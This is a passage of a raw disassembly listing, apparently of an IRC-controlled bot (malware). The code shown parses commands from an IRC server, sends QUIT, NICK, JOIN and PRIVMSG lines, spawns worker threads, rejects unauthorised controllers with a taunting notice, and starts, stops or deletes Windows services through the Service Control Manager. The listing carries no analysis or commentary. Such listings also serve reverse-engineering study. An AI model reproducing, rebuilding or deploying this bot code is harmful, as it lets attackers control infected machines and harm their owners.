		push	dword ptr [ebp-4]
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_406977
		jmp	loc_40DCD4
; ---------------------------------------------------------------------------


loc_40DA5A:				; CODE XREF: seg000:0040A4FFj
					; seg000:0040A514j
		push	dword ptr [ebp+esi-9Ch]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_408978
		jmp	loc_40DCD4
; ---------------------------------------------------------------------------


loc_40DA77:				; CODE XREF: seg000:0040A4D5j
					; seg000:0040A4EAj
		or	edi, 0FFFFFFFFh
		call	ds:dword_41C04C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi-9Ch]
		cmp	esi, ebx
		mov	[ebp+8], eax
		jz	short loc_40DAA0
		push	esi
		call	sub_410A7F
		pop	ecx
		mov	edi, eax


loc_40DAA0:				; CODE XREF: seg000:0040DA95j
		mov	eax, [ebp+8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40DAB9
		cmp	edi, 0FFFFFFFFh
		jnz	loc_40E148


loc_40DAB9:				; CODE XREF: seg000:0040DAAEj
		push	ebx
		call	sub_40787D
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42A724
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_407E0E


loc_40DAF6:				; CODE XREF: seg000:0040BE1Fj
		add	esp, 28h
		jmp	loc_40E148
; ---------------------------------------------------------------------------


loc_40DAFE:				; CODE XREF: seg000:0040A4ABj
					; seg000:0040A4C0j
		push	1Eh
		call	sub_4101FF
		test	eax, eax
		pop	ecx
		jle	short loc_40DB32
		cmp	[ebp-8], ebx
		jnz	loc_40980B
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_42A6F0
		push	dword ptr [ebp-98h]


loc_40DB22:				; CODE XREF: seg000:00409C19j
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		add	esp, 14h
		jmp	loc_40980B
; ---------------------------------------------------------------------------


loc_40DB32:				; CODE XREF: seg000:0040DB08j
		push	dword ptr [ebp-98h]
		lea	eax, [ebp-4F8h]
		push	80h
		push	eax
		call	sub_410A8A
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-9Ch]
		mov	[ebp-4FCh], eax
		mov	eax, [ebp-4]
		mov	[ebp-470h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-46Ch], eax
		mov	[ebp-474h], ebx
		jz	short loc_40DB93
		push	esi
		push	offset aFull	; "full"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DB93
		mov	dword ptr [ebp-474h], 1


loc_40DB93:				; CODE XREF: seg000:0040DB76j
					; seg000:0040DB87j
		lea	eax, [ebp-2E4h]
		push	offset dword_42A6B4
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	1Eh
		push	eax
		call	sub_40FFB7
		add	esp, 14h
		mov	[ebp-478h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4FCh]
		push	ebx
		push	eax
		push	offset sub_40F59E
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp-478h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_40DC01


loc_40DBEB:				; CODE XREF: seg000:0040DBFFj
		cmp	[ebp-468h], ebx
		jnz	loc_40B462
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40DBEB
; ---------------------------------------------------------------------------


loc_40DC01:				; CODE XREF: seg000:0040DBE9j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42A664
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		jmp	loc_40B462
; ---------------------------------------------------------------------------


loc_40DC21:				; CODE XREF: seg000:0040A481j
					; seg000:0040A496j
		cmp	[ebp-8], ebx
		jnz	short loc_40DC40
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_42A638
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		add	esp, 14h


loc_40DC40:				; CODE XREF: seg000:0040DC24j
		push	dword ptr [ebp+0Ch]
		call	ds:dword_430828	; closesocket
		call	ds:dword_430700	; WSACleanup
		call	loc_4070D9
		push	ebx
		call	ds:dword_41C0F8	; ExitProcess


loc_40DC5B:				; CODE XREF: seg000:0040A457j
					; seg000:0040A46Cj
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40799C
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		push	offset dword_42A60C
		jmp	short loc_40DCB3
; ---------------------------------------------------------------------------


loc_40DC86:				; CODE XREF: seg000:0040A42Dj
					; seg000:0040A442j
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_407C50
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		push	offset dword_42A5E0


loc_40DCB3:				; CODE XREF: seg000:0040DA3Cj
					; seg000:0040DC84j
		call	sub_407E0E


loc_40DCB8:				; CODE XREF: seg000:0040CB2Fj
		add	esp, 18h
		jmp	loc_40E148
; ---------------------------------------------------------------------------


loc_40DCC0:				; CODE XREF: seg000:0040A403j
					; seg000:0040A418j
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_407EAE


loc_40DCD4:				; CODE XREF: seg000:00409755j
					; seg000:0040DA55j ...
		add	esp, 10h
		jmp	loc_40980B
; ---------------------------------------------------------------------------


loc_40DCDC:				; CODE XREF: seg000:0040A3D9j
					; seg000:0040A3EEj
		cmp	[ebp-0Ch], ebx
		mov	[ebp-374h], bl
		jz	short loc_40DD1B
		mov	esi, [ebp+esi-9Ch]
		cmp	esi, ebx
		jz	short loc_40DD1B
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_410AE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40DD1B
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp-374h]
		push	80h
		push	eax
		call	sub_410A8A
		add	esp, 10h


loc_40DD1B:				; CODE XREF: seg000:0040DCE5j
					; seg000:0040DCF0j ...
		push	dword ptr [ebp-98h]
		lea	eax, [ebp-3F4h]
		push	80h
		push	eax
		call	sub_410A8A
		mov	eax, [ebp+0Ch]
		push	offset dword_42A5B4
		mov	[ebp-3F8h], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2ECh], eax
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	1Ch
		push	eax
		call	sub_40FFB7
		add	esp, 20h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3F8h]
		push	ebx
		push	eax
		push	offset sub_407EEE
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_40DDBB


loc_40DDA5:				; CODE XREF: seg000:0040DDB9j
		cmp	[ebp-2E8h], ebx
		jnz	loc_40980B
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40DDA5
; ---------------------------------------------------------------------------


loc_40DDBB:				; CODE XREF: seg000:0040DDA3j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42A568
		jmp	loc_40E2CF
; ---------------------------------------------------------------------------


loc_40DDCC:				; CODE XREF: seg000:0040A3AFj
					; seg000:0040A3C4j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_407D96
		push	offset dword_42A53C
		call	sub_407E0E


loc_40DDE7:				; CODE XREF: seg000:0040D9ACj
		add	esp, 10h
		jmp	loc_40E148
; ---------------------------------------------------------------------------


loc_40DDEF:				; CODE XREF: seg000:0040A385j
					; seg000:0040A39Aj
		push	dword ptr [ebp-98h]
		lea	eax, [ebp-4F8h]
		push	80h
		push	eax
		call	sub_410A8A
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-9Ch]
		mov	[ebp-4FCh], eax
		mov	eax, [ebp-4]
		mov	[ebp-470h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-46Ch], eax
		jz	short loc_40DE49
		push	offset dword_42A538
		push	esi
		call	sub_410930
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp-474h], eax
		jmp	short loc_40DE4F
; ---------------------------------------------------------------------------


loc_40DE49:				; CODE XREF: seg000:0040DE2Dj
		mov	[ebp-474h], ebx


loc_40DE4F:				; CODE XREF: seg000:0040DE47j
		lea	eax, [ebp-2E4h]
		push	offset dword_42A508
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	1Fh
		push	eax
		call	sub_40FFB7
		add	esp, 14h
		mov	[ebp-478h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4FCh]
		push	ebx
		push	eax
		push	offset word_410022
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp-478h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_40DEB9


loc_40DEA7:				; CODE XREF: seg000:0040DEB7j
		cmp	[ebp-468h], ebx
		jnz	short loc_40DED4
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40DEA7
; ---------------------------------------------------------------------------


loc_40DEB9:				; CODE XREF: seg000:0040DEA5j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42A4BC
		push	eax
		call	sub_41050B
		add	esp, 0Ch


loc_40DED4:				; CODE XREF: seg000:0040CE41j
					; seg000:0040CE59j ...
		lea	eax, [ebp-2E4h]
		push	eax


loc_40DEDB:				; CODE XREF: seg000:0040A5C6j
		call	sub_407E0E
		pop	ecx
		jmp	loc_40E148
; ---------------------------------------------------------------------------


loc_40DEE6:				; CODE XREF: seg000:0040A309j
					; seg000:0040A31Ej
		push	offset aIds44433 ; "ids44433"
		lea	eax, [ebp-2E4h]
		push	offset dword_42A490
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		add	esp, 20h
		jmp	loc_40C8D7
; ---------------------------------------------------------------------------


loc_40DF1D:				; CODE XREF: seg000:0040A2DFj
					; seg000:0040A2F4j
		push	ds:dword_45EBC8
		call	sub_40787D
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42A450
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		add	esp, 24h
		jmp	loc_40C8D7
; ---------------------------------------------------------------------------


loc_40DF5B:				; CODE XREF: seg000:0040A2B5j
					; seg000:0040A2CAj
		mov	esi, [ebp+esi-9Ch]
		cmp	esi, ebx
		jz	short loc_40DF8D
		cmp	[ebp-0Ch], ebx
		jz	short loc_40DF9C
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_410AE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40DF9C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		add	esp, 0Ch
		jmp	short loc_40DF9C
; ---------------------------------------------------------------------------


loc_40DF8D:				; CODE XREF: seg000:0040DF64j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		pop	ecx
		pop	ecx


loc_40DF9C:				; CODE XREF: seg000:0040DF69j
					; seg000:0040DF78j ...
		push	0FFFFFFFEh
		jmp	loc_40980D
; ---------------------------------------------------------------------------


loc_40DFA3:				; CODE XREF: seg000:0040A28Bj
					; seg000:0040A2A0j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		push	offset dword_42A3FC
		call	sub_407E0E
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40980E
; ---------------------------------------------------------------------------


loc_40DFC5:				; CODE XREF: seg000:0040A261j
					; seg000:0040A276j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		push	offset dword_42A3B8
		call	sub_407E0E
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40980E
; ---------------------------------------------------------------------------


loc_40DFE6:				; CODE XREF: seg000:0040A237j
					; seg000:0040A24Cj
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_404EB9


loc_40DFF7:				; CODE XREF: seg000:0040CA9Bj
		add	esp, 0Ch
		jmp	loc_40E148
; ---------------------------------------------------------------------------


loc_40DFFF:				; CODE XREF: seg000:0040A192j
					; seg000:0040A1A7j
		push	dword ptr [ebp+esi-9Ch]
		push	1Eh
		push	offset dword_42A3A8
		push	offset dword_42A39C


loc_40E012:				; CODE XREF: seg000:0040A036j
					; seg000:0040A05Fj ...
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_410245
		add	esp, 20h
		jmp	loc_40980B
; ---------------------------------------------------------------------------


loc_40E02E:				; CODE XREF: seg000:00409FF7j
					; seg000:0040A00Cj
		mov	esi, [ebp+esi-9Ch]
		cmp	esi, ebx
		jz	short loc_40E088
		push	esi
		call	sub_410A7F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_40E080
		cmp	eax, 2
		jge	short loc_40E080
		mov	edx, [ebp+20h]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40E078
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42CB38
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40C65C
; ---------------------------------------------------------------------------


loc_40E078:				; CODE XREF: seg000:0040E057j
		push	eax
		push	offset dword_42A35C
		jmp	short loc_40E0C5
; ---------------------------------------------------------------------------


loc_40E080:				; CODE XREF: seg000:0040E042j
					; seg000:0040E047j
		push	eax
		push	offset dword_42A31C
		jmp	short loc_40E0C5
; ---------------------------------------------------------------------------


loc_40E088:				; CODE XREF: seg000:0040E037j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40E08D:				; CODE XREF: seg000:0040E0A9j
		push	dword ptr [ebp-0A0h]
		push	edi
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E0B0
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40E08D
		jmp	loc_40C65C
; ---------------------------------------------------------------------------


loc_40E0B0:				; CODE XREF: seg000:0040E09Dj
		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_42CB38


loc_40E0C5:				; CODE XREF: seg000:0040D13Ej
					; seg000:0040D7D8j ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		jmp	loc_40C65C
; ---------------------------------------------------------------------------


loc_40E0D9:				; CODE XREF: seg000:00409FCDj
					; seg000:00409FE2j
		push	dword ptr [ebp-9Ch]
		push	offset a332	; "332"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E148
		call	sub_410180
		push	ebx
		call	ds:dword_41C0F8	; ExitProcess


loc_40E0FB:				; CODE XREF: seg000:00409FA3j
					; seg000:00409FB8j
		push	dword ptr [ebp+esi-9Ch]
		xor	eax, eax
		cmp	[ebp-9A4h], bl
		setnz	al
		push	eax
		lea	eax, [ebp-464h]
		push	ds:dword_423014
		push	eax
		call	sub_40FA4E
		lea	eax, [ebp-464h]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		lea	eax, [ebp-464h]
		push	eax
		push	offset dword_42A2E4
		call	sub_407E82


loc_40E145:				; CODE XREF: seg000:0040B5CAj
		add	esp, 24h


loc_40E148:				; CODE XREF: seg000:004099D3j
					; seg000:004099DFj ...
		mov	eax, [ebp+2Ch]
		jmp	loc_40980E
; ---------------------------------------------------------------------------


loc_40E150:				; CODE XREF: seg000:00409A62j
					; seg000:00409A77j
		mov	esi, [ebp+esi-9Ch]
		cmp	esi, ebx
		mov	[ebp+8], esi
		jz	loc_40980B
		cmp	[ebp-0A8h], ebx
		jnz	loc_40980B
		push	offset dword_42625C
		push	dword ptr [ebp-0A0h]
		call	sub_411C60
		mov	esi, eax
		push	offset dword_42F3E4
		push	ebx
		inc	esi
		call	sub_411C60
		push	offset asc_42A2E0 ; "~"
		push	eax
		call	sub_411C60
		push	dword ptr [ebp+8]
		mov	edi, eax
		push	offset aHi	; "hi"
		call	sub_410930
		add	esp, 20h
		test	eax, eax
		jz	short loc_40E1E6
		lea	eax, [ebp-0C4h]
		push	edi
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		push	edi
		push	esi
		push	offset dword_42A254
		jmp	short loc_40E242
; ---------------------------------------------------------------------------


loc_40E1E6:				; CODE XREF: seg000:0040E1ABj
		mov	dword ptr [ebp+2Ch], offset off_4230D8


loc_40E1ED:				; CODE XREF: seg000:0040E209j
		mov	eax, [ebp+2Ch]
		push	edi
		push	dword ptr [eax]
		call	sub_410310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E256
		add	dword ptr [ebp+2Ch], 4
		cmp	dword ptr [ebp+2Ch], offset off_4230DC
		jl	short loc_40E1ED
		lea	eax, [ebp-0C4h]
		push	edi
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		push	edi
		push	esi
		push	offset dword_42A214


loc_40E242:				; CODE XREF: seg000:0040E1E4j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_41050B
		add	esp, 30h
		jmp	loc_40C67D
; ---------------------------------------------------------------------------


loc_40E256:				; CODE XREF: seg000:0040E1FCj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40E25B:				; CODE XREF: seg000:0040E285j
		cmp	[ebp+8], ebx
		jz	loc_40980B
		cmp	[edi], bl
		jnz	short loc_40E27B
		push	dword ptr [ebp+8]
		push	offset aHi	; "hi"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E28C


loc_40E27B:				; CODE XREF: seg000:0040E266j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40E25B
		jmp	loc_40980B
; ---------------------------------------------------------------------------


loc_40E28C:				; CODE XREF: seg000:0040E279j
		shl	esi, 7
		add	esi, [ebp+20h]
		lea	eax, [ebp-0A94h]
		push	7Fh
		push	eax
		push	esi
		call	sub_411D00
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_40E2C3
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_42A1E0
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		add	esp, 14h


loc_40E2C3:				; CODE XREF: seg000:0040E2A7j
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_42A1AC


loc_40E2CF:				; CODE XREF: seg000:0040992Bj
					; seg000:0040DDC7j
		call	sub_407E82
		pop	ecx


loc_40E2D5:				; CODE XREF: seg000:0040B46Ej
		pop	ecx
		jmp	loc_40980B
; ---------------------------------------------------------------------------


loc_40E2DB:				; CODE XREF: seg000:0040959Ej
					; seg000:004095B3j
		push	dword ptr [ebp+18h]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		push	offset dword_4230AC
		push	dword ptr [ebp+18h]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		add	esp, 2Ch
		mov	ds:dword_45ED48, edi
		jmp	loc_40962D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E321	proc near		; CODE XREF: sub_409218+3Dp
					; seg000:0040955Bp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41232F
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4307E0	; send
		leave
		retn
sub_40E321	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E367	proc near		; CODE XREF: start+88p
					; seg000:004014BDp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40E382
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_40E382:				; CODE XREF: sub_40E367+14j
		push	edi
		call	sub_410B60
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_410B60
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_410A8A
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_42CC40
		push	eax
		call	sub_41050B
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4307E0	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40E400
		push	7D0h
		call	ds:dword_41C058	; Sleep

locret_40E400:				; CODE XREF: sub_40E367+8Cj
		leave
		retn
sub_40E367	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E402	proc near		; CODE XREF: seg000:loc_40AA82p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_40E467
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	ds:dword_42CC58[esi]
		push	edi
		push	eax
		call	sub_40E489
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40E44A
		push	edi
		push	ds:off_42CC54[esi]
		mov	esi, offset dword_45F410
		push	offset dword_42CD8C
		push	esi
		call	sub_41050B
		add	esp, 10h
		jmp	short loc_40E484
; ---------------------------------------------------------------------------


loc_40E44A:				; CODE XREF: sub_40E402+2Aj
		push	eax
		call	sub_40E52B
		push	eax
		push	edi
		mov	esi, offset dword_45F410
		push	offset dword_42CD50
		push	esi
		call	sub_41050B
		add	esp, 14h
		jmp	short loc_40E484
; ---------------------------------------------------------------------------


loc_40E467:				; CODE XREF: sub_40E402+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_45F410
		push	ds:off_42CC50[eax*4]
		push	offset dword_42CD18
		push	esi
		call	sub_41050B
		add	esp, 0Ch


loc_40E484:				; CODE XREF: sub_40E402+46j
					; sub_40E402+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40E402	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E489	proc near		; CODE XREF: sub_40E402+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	ds:dword_430788	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40E4B0
		call	ds:dword_41C068	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_40E525
; ---------------------------------------------------------------------------


loc_40E4B0:				; CODE XREF: sub_40E489+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_43068C	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40E4D0
		call	ds:dword_41C068	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_40E51D
; ---------------------------------------------------------------------------


loc_40E4D0:				; CODE XREF: sub_40E489+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_40E503
		cmp	eax, 3
		jz	short loc_40E4F4
		jle	short loc_40E516
		cmp	eax, 6
		jg	short loc_40E516
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	ds:dword_4306F4	; ControlService
		jmp	short loc_40E50A
; ---------------------------------------------------------------------------


loc_40E4F4:				; CODE XREF: sub_40E489+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	ds:dword_430694	; StartServiceA
		jmp	short loc_40E50A
; ---------------------------------------------------------------------------


loc_40E503:				; CODE XREF: sub_40E489+4Dj
		push	esi
		call	ds:dword_4306F8	; DeleteService


loc_40E50A:				; CODE XREF: sub_40E489+69j
					; sub_40E489+78j
		test	eax, eax
		jnz	short loc_40E516
		call	ds:dword_41C068	; RtlGetLastWin32Error
		mov	ebx, eax


loc_40E516:				; CODE XREF: sub_40E489+54j
					; sub_40E489+59j ...
		push	esi
		call	ds:dword_4306A8	; CloseServiceHandle


loc_40E51D:				; CODE XREF: sub_40E489+45j
		push	edi
		call	ds:dword_4306A8	; CloseServiceHandle
		pop	esi


loc_40E525:				; CODE XREF: sub_40E489+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40E489	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E52B	proc near		; CODE XREF: sub_40E402+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40E5E0
		jz	loc_40E5D9
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_40E5A3
		jz	short loc_40E599
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40E58F
		dec	ecx
		dec	ecx
		jz	short loc_40E585
		dec	ecx
		jz	short loc_40E57B
		sub	ecx, 51h
		jz	short loc_40E571
		sub	ecx, 24h
		jnz	loc_40E656	; default
					; jumptable 0040E5FD cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_40E648
; ---------------------------------------------------------------------------


loc_40E571:				; CODE XREF: sub_40E52B+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_40E648
; ---------------------------------------------------------------------------


loc_40E57B:				; CODE XREF: sub_40E52B+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_40E648
; ---------------------------------------------------------------------------


loc_40E585:				; CODE XREF: sub_40E52B+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_40E648
; ---------------------------------------------------------------------------


loc_40E58F:				; CODE XREF: sub_40E52B+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_40E648
; ---------------------------------------------------------------------------


